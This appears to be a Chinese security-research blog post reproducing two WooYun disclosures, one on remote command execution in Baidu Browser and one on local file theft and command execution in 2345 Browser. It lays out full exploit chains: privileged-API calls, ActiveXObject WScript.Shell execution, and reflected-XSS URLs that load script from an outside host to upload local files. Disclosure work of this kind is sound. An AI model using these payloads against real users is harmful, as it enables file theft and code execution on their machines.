0%

案例链接:http://wooyun.org/bugs/wooyun-2010-0216027

免责声明

本博客提供的部分文章思路可能带有攻击性,仅供安全研究与教学之用,风险自负!

百度浏览器远程命令执行

  • 版本信息:8.4.100.3514
  • 测试环境:(1)Windows 7 64 bit with IE 10 (2)Windows XP 32 bit with IE 8

0x00 套路

为了实现远程命令执行,我们需要有两个条件:(1)下载可执行文件(比如exe,脚本之类的)到用户的系统中(2)启动我们的可执行程序。接下来的分析都是为了实现这个目标而进行的一系列探索及尝试。

0x01 UXSS与特权域

一个价值8000美刀的UXSS:https://bugs.chromium.org/p/chromium/issues/detail?id=560011 ,百度浏览器上也存在该问题。各种特权域的XSS问题都已经被之前的老司机们挖没有了,所以我们从UXSS入手是最快捷的方式。那百度浏览器的特权域有什么呢?在使用的过程中发现,百度浏览器应用中心(https://chajian.baidu.com/2015/)这个网站直接能够打开 bdbrowser://settings 这个页面。于是,我就分析了一下里面的代码,发现是使用了

1
widnow.external.StartRequest(1158, "open_url",  "",  "[\"offside","bdbrowser://settings#extension\"]")

从而可以确定,这个域名可以使用window.external.StartRequest这个API。也就是说:我们可以通过UXSS -> 在百度浏览器应用中心的网站上调用以上的API。

0x02 寻找文件下载

在日常使用浏览器的过程中,我们可以设置一个默认的文件下载路径,然后选择不提示。在百度浏览器中,也存在一个这样子的设置,而且可以直接通过上面的API进行设置。所以,我们可以设置其默认不提示,这样子就不需要用户交互完成文件的下载!那么,我们能知道文件的下载路径吗?一开始我是想像二哥那样:http://wooyun.org/bugs/wooyun-2010-083294 寻找一个能够直接修改其默认下载路径的接口,这样子就可以通过下载文件到用户的开机启动路径中完成RCE。不过,百度浏览器修改了这个设置的API,设置时会弹出选择窗口给用户选择路径。

哎,于是,换一个思路吧。我们尝试看看能不能获取到用户设置的默认路径吧!分析调试设置页面的源代码之后,我发现了以下的操作就可以获取到用户的默认路径!

1
2
window.external.StartRequest(1162, "fetch_prefs.addListener", "console.log", "[]", "", window);
window.external.StartRequest(1163, "preference_ready", "", "[]", "", window);

0x03 执行?

完成文件的下载,我们又知道了文件在用户系统中的绝对路径。这个能干嘛啊?在寻找的过程中,我搜索了一下,找到了这样的一个链接:http://stackoverflow.com/a/5047811/1634804 这里是指在IE上通过ActiveXObject启动notepad.exe的代码。想到百度浏览器还有一个IE内核的时候,还是试试吧。没想到一试,发现居然可以直接执行,是的,什么提示都没有。一开始我还怀疑是我自己设置了IE的安全级别,发现测了手上的几个系统,还在虚拟机环境下进行测试,都发现能打开notepad。

1
2
3
4
<script>
ws=new ActiveXObject("WScript.Shell");
ws.Exec("C:\\Windows\\notepad.exe");
</script>

而在同一个系统上的IE浏览器,访问这个页面的时候会提示以下的信息。从这可以估计出百度浏览器在使用IE内核的时候,安全性级别设置的比较低。

1
SCRIPT429: Automation 服务器不能创建对象

接下来,我们要怎么利用?在使用的过程中,发现百度浏览器大多会先使用WebKit引擎进行渲染,而且,我查了一下,没有任何可以设置的方式。所以,第一个想到的方案是做个界面欺骗用户切换成IE模式,这样子我们的RCE就大打折扣。

0x04 WebKit -> IE

想啊想!心中想起了一句话:中国特色社会主义。在China,很多银行的网站都默认只能使用IE,访问这些网站的时候,百度浏览器会不会很人性化的帮我们切换成IE内核呢?于是,继续测试,发现果然!打开工行,招行等银行的网站时,优先使用的是IE内核。

于是,我们只要找到一个网站是银行的,且这个网站存在XSS或者前端界面可控的,就可以通过这个网站执行ActiveXObject了。不过找银行的貌似挺麻烦的,找了一会之后,我把思路换成了学校,因为学校的网站(edu.cn的子域)也是默认优先IE内核。找啊找,找到一个XSS,被IE的过滤器过滤,找到另外一个不会被过滤的,URL长度有限制且有关键词检查。最后,还是在母校找到了一个站点:

1
http://ecampus.sysu.edu.cn/zsuoa/application/pages/select_frame.jsp?url=http://baidu.com

这个页面会去加载使用iframe去加载url里执订的链接,虽然不是XSS,但是更好用!

0x05 真的可以执行

思路总结

  1. UXSS 到 https://chajian.baidu.com/2015/
  2. 修改用户的下载设置:自动下载到默认保存位置 (不再弹窗提醒)
  3. 获取用户的的默认下载路径
  4. 下载一个文件
  5. 跳转到学校的网站,使用ActiveXObject执行我们下载的文件。

测试的GIF截图,下载并启动Everything。

案例链接:http://wooyun.org/bugs/wooyun-2016-0204520

背景知识

0x00 chrome-devtools本地文件读取漏洞

http://www.wooyun.org/bugs/wooyun-2010-0176314 中使用到了一个chrome-devtools的一个本地文件读取的漏洞(只有特定几个版本有这个问题,现在已经修复),访问URL

1
chrome-devtools://devtools/bundled/inspector.html?remoteBase=http://xxx.com/&remoteFrontend=true

就会加载并执行xxx.com下的screencast_module.js,在这个js中,有权限使用DevToolsAPI,利用向外出容器发送类型为loadNetworkResource的消息可以读取到本地文件内容。我写了一个flask程序进行验证,见测试代码。 在C盘新建一个111.txt并写入内容,运行服务器之后,在2345浏览器打开chrome-devtools://devtools/bundled/inspector.html?remoteBase=http://127.0.0.1/file/&remoteFrontend=true。本地测试截图:

0x01 WebKit系浏览器伪协议调用

http://www.wooyun.org/bugs/wooyun-2010-0175902 中,可以通过location.href="vbefile:/../../../已知路径/1.js"来执行本地文件1.js

一步一步构造PoC

0x00 首先我们来思考如何实现读取本地文件

要让用户自己主动打开:chrome-devtools://devtools/bundled/inspector.html?remoteBase=http://x.xx.com/file/&remoteFrontend=true貌似不太可能,如@gainover提到的,location.href,window.open进行跳转都是会因为安全问题而被浏览器限制,比如:提示Not allowed to load local resource,或打开页面是空白等措施。

0x01 国产浏览器的毛病

在很多基于Chromium进行开发的国产浏览器中,厂商都会加入一些自己定制的API来实现一些特定的功能。在2345浏览器中,我发现一个API:chrome.ntp2345.prepareThumbnail,根据名字猜测,这个API应该是用于获取指定URL的HTML页面的截图,也就是说会先访问页面,然后渲染生成缩略图。(因为之前在一个开源项目中实现过类似功能,所以看到这个比较敏感)。进行了尝试之后,发现果然可以执行,并且服务端接收到了发送上来的文件内容,完美地绕过了安全限制!

1
chrome.ntp2345.prepareThumbnail('chrome-devtools://devtools/bundled/inspector.html?remoteBase=http://127.0.0.1/file/&remoteFrontend=true')

0x02 XSS来帮忙

发现上面的API之后,我里面写了一个页面进行测试,发现还是有一定的限制,那就是这个API在非2345.com及其子域名下执行的话,会直接返回2并且不会访问制定的URL。怎么办?我们来找个XSS不就绕过了?这里有点幸运,我Google了一下site:2345.com inurl:url就找到了一个使用js进行url跳转的XSS,原理类似于@phith0n的http://wooyun.org/bugs/wooyun-2016-0179329 ,不受chrome限制的XSSAuditor一个反射型XSS。

1
http://cps.2345.com/go/?bid=2014060633&company_id=33&url=javascript:alert(document.domain);//

0x03 本地文件读取PoC

服务端代码:https://gist.github.com/zhchbin/c4f7de8faf8a7cfa6c0f00191277df98#file-2345_poc-py-L199-L240

用户点击一下URL,C盘下的111.txt文件内容就被上传到了服务器上,

1
http://cps.2345.com/go/?bid=2014060633&company_id=33&url=javascript:s=document.createElement(%27script%27);s.src=%27//a.zhchbin.xyz/file/xss.js%27;document.body.appendChild(s);//

过程总结:cps.2345.com域名下的XSS,加载/file/xss.js,执行chrome.ntp2345.prepareThumbnail(url)访问chrome-devtools:页面,读取本地文件并上传。

0x04 我们来实现远程命令执行

原理:(1)上述的chrome-devtools本地文件读取漏洞不仅能读取文件,还能读取文件列表!(2)我们可以通过浏览器的cache机制,写入我们指定的内容到浏览器的cache目录中(3)可以利用WebKit系浏览器伪协议调用执行cache文件。

2345浏览器的默认cache目录在:C:\Users\%USERNAME%\AppData\Local\2345Explorer\User Data\Default\Cache。要执行这个目录下的cache文件,我们要解决两个问题,首先是找出当前系统的用户名,第二是定位到我们的恶意cache文件。第一个问题,我们可以通过读取C:\Users这个目录下的文件列表,得到用户列表。然后针对每个用户,执行以下的操作来定位恶意cache文件:获取cache目录下的文件列表,保存在localStorage中,然后利用插入img的方式写入恶意cache文件,完成后再获取一次cache目录下的文件列表,找出第二次集合中新增加的文件,上传到服务器中,前端跳转到执行页面,指定iframe的src为vbefile:/../../../../../../../../Users/xxx/AppData/Local/2345Explorer/User Data/Default/Cache/f_xxxx,从而达到命令执行的效果。

服务端代码:https://gist.github.com/zhchbin/c4f7de8faf8a7cfa6c0f00191277df98#file-2345_poc-py-L9-L196 用户点击:

1
http://cps.2345.com/go/?bid=2014060633&company_id=33&url=javascript:s=document.createElement(%27script%27);s.src=%27//a.zhchbin.xyz/xss.js%27;document.body.appendChild(s);//

测试说明:因为请求有时序依赖,所以里面用了5000毫秒的等待时间,来确保顺序的正确性。测试时可以在修改一下里面的域名变成本地的地址,然后运行。